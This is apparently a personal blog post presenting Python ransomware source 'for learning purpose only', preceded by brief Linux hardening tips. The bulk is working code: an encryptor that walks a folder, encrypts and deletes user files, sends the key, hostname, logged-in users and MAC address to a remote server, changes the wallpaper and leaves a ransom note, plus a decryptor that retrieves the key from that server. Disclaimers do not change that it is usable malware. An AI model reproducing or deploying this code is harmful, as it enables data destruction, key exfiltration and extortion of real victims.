Ransomware Code For Learning Purpose Only

Ransomware






It is a virus which encrypt your data with Ransome key post attack of Ransomware all data is get stuck and it cannot be retrieve without  Ransome key it is the Dangerous Malware Of The Decade it is not removable or destroyable as a professional I get a chance to interact with live Ransome attack with a blue team. Over here sharing a code for creating Malware and preventing your device or organization from Ransomware.
First Step is how to prevent yourself from Ransomware because if you try this code with yourself that time it is harmful for your data so take look of following step and then try the code as per tester requirement.

Update your system it is Linux or nay other I was Focused for a Linux 

──(kali㉿kali)-[~]                                                                                                                       
└─$ sudo apt update                                                                                                                    
[sudo] password for kali:                                                                                                              
Ign:1 http://http.kali.org/kali kali-rolling InRelease                                                                     
Ign:1 http://http.kali.org/kali kali-rolling InRelease                                                                     

after Completing the update install a Firewall using 

──(kali㉿kali)-[~]                                                                                                                  
└─$ sudo apt install ufw                                                                                                        



If your using SSH then you need to disable root login after disabling root login restart SSH take a important backup in external location.

Install and Configure ClamAV it is open source free Antivirus for your system
you can download this using simple command

sudo apt install clamav clamav-daemon                                        

Scan and update as a normal
sudo freshclam                                  sudo clamscan -r /                                                          

After completing this process limit to use root instead of root use Sudo for a Administrative use 
For an security purpose I cant share Full code over any platform but over here Encryption and Decryption code shared over here. 

Warning: 

We are not responsible for any loss of data and attack it is users' responsibility Please Do not run any code unless you are totally understand it. It Was not a complete code but if you want to run this do it at your own risk. This was only for an educational purpose.


Encryption.py

import gc
import os
import json
import uuid
import ctypes
import socket
import subprocess
from cryptography.fernet import Fernet

class RansomwareSimulator:
    def __init__(self, directory, server_host, server_port, file_extensions):
        self.directory = directory
        self.server_host = server_host
        self.server_port = server_port
        self.file_extensions = file_extensions
        self.key = Fernet.generate_key()

    def change_wallpaper(self, image_path):
        if os.name == 'nt':
            ctypes.windll.user32.SystemParametersInfoW(20, 0, image_path , 0)

        else:
            print("Wallpaper change feature is not supported on this OS.")

    def get_mac_address(self):
        mac_num = hex(uuid.getnode()).replace('0x', '').upper()
        mac_num = mac_num.zfill(12)
        mac = ':'.join(mac_num[i: i + 2] for i in range(0, 12, 2))
        return mac


    def create_readme(self):
        desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
        readme_path = os.path.join(desktop_path, 'Readme.txt')
        with open(readme_path, 'w') as file:
            file.write("This is a simulation program, your files are encrypted.")


    def encrypt_file(self, file_path):
        fernet = Fernet(self.key)
        with open(file_path, 'rb') as file:
            original = file.read()
        encrypted = fernet.encrypt(original)

        encrypted_file_path = file_path + ".denizhalil"
        with open(encrypted_file_path, 'wb') as encrypted_file:
            encrypted_file.write(encrypted)

        os.remove(file_path)
        return encrypted_file_path

    def find_and_encrypt_files(self):
        encrypted_files = []
        for root, _, files in os.walk(self.directory):
            for file in files:
                if any(file.endswith(ext) for ext in self.file_extensions):
                    file_path = os.path.join(root, file)
                    encrypted_file_path = self.encrypt_file(file_path)
                    encrypted_files.append(encrypted_file_path)
                    print(f"Encrypted and saved file: {encrypted_file_path}")
        return encrypted_files

    def get_active_users(self):
        try:
            command = 'query user' if os.name == 'nt' else 'who'
            output = subprocess.check_output(command, shell=True)
            return output.decode(errors='ignore')
        except subprocess.CalledProcessError:
            return "Unable to fetch active users"

    def collect_data(self):
        return {
            'hostname': socket.gethostname(),
            'key': self.key.decode(),
            'active_users': self.get_active_users(),
            'mac_address': self.get_mac_address()
        }

    def send_data_to_server(self):
        data = self.collect_data()
        self.send_to_server(json.dumps(data))

    def send_to_server(self, data):
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.connect((self.server_host, self.server_port))
                s.sendall(data.encode())
        except:
            quit(0)

    def clear_memory(self):
        gc.collect()
        print("Memory cleared.")

def main():
    file_extensions = ['.txt', '.docx', '.jpg']
    directory = 'dosyalar/'  # 'dosyalar/' should be replaced with the directory path you want to target
    wallpaper_path = r"duvarkağıtı/araba.jpg"
    server_host = '10.0.2.37'
    server_port = 12345

    simulator = RansomwareSimulator(directory, server_host, server_port, file_extensions)
    simulator.find_and_encrypt_files()
    simulator.send_data_to_server()
    simulator.change_wallpaper(wallpaper_path)  # Change the wallpaper
    simulator.create_readme()
    simulator.clear_memory()

if __name__ == "__main__":
    main()

Decryption Code
import gc
import socket
import json
import os
from cryptography.fernet import Fernet

class Decoder:
    def __init__(self, directory, server_host, server_port):
        self.directory = directory
        self.server_host = server_host
        self.server_port = server_port

    def decrypt_file(self, file_path, key):
        fernet = Fernet(key)
        with open(file_path, 'rb') as file:
            encrypted_data = file.read()
        decrypted_data = fernet.decrypt(encrypted_data)

        original_file_path = file_path.replace(".denizhalil", "")
        with open(original_file_path, 'wb') as file:
            file.write(decrypted_data)

        os.remove(file_path)

    def find_and_decrypt_files(self, key):
        for root, _, files in os.walk(self.directory):
            for file in files:
                if file.endswith(".denizhalil"):
                    file_path = os.path.join(root, file)
                    self.decrypt_file(file_path, key)

    def request_key_from_server(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((self.server_host, self.server_port))
            s.sendall(json.dumps({'request': 'key'}).encode())
            data = s.recv(1024)
            response = json.loads(data.decode())
            return response.get('key')

    def delete_readme(self):

        desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
        readme_path = os.path.join(desktop_path, 'Readme.txt')

        if os.path.exists(readme_path):
            os.remove(readme_path)
        else:
            pass

    def clear_memory(self):
        gc.collect()
        print("Memory cleared.")
def main():
    directory = 'dosyalar/'  # Replace with the target directory path
    server_host = '10.0.2.37'
    server_port = 12345
    print("Waiting for key...")

    try:
        decoder = Decoder(directory, server_host, server_port)
        key = decoder.request_key_from_server()

        if key:
            decoder.find_and_decrypt_files(key)
            print("Files successfully decrypted.")
            decoder.delete_readme()
        else:
            print("Key not found or incorrect.")
    except Exception as e:
        print(f"An error occurred: {e}\nPlease restart the program.")

    decoder.clear_memory()

if __name__ == "__main__":
    main()

Warning: Do Not Run Any of this Code without Knowledge. 

-Ashitosh Ghate.

Comments

Popular Posts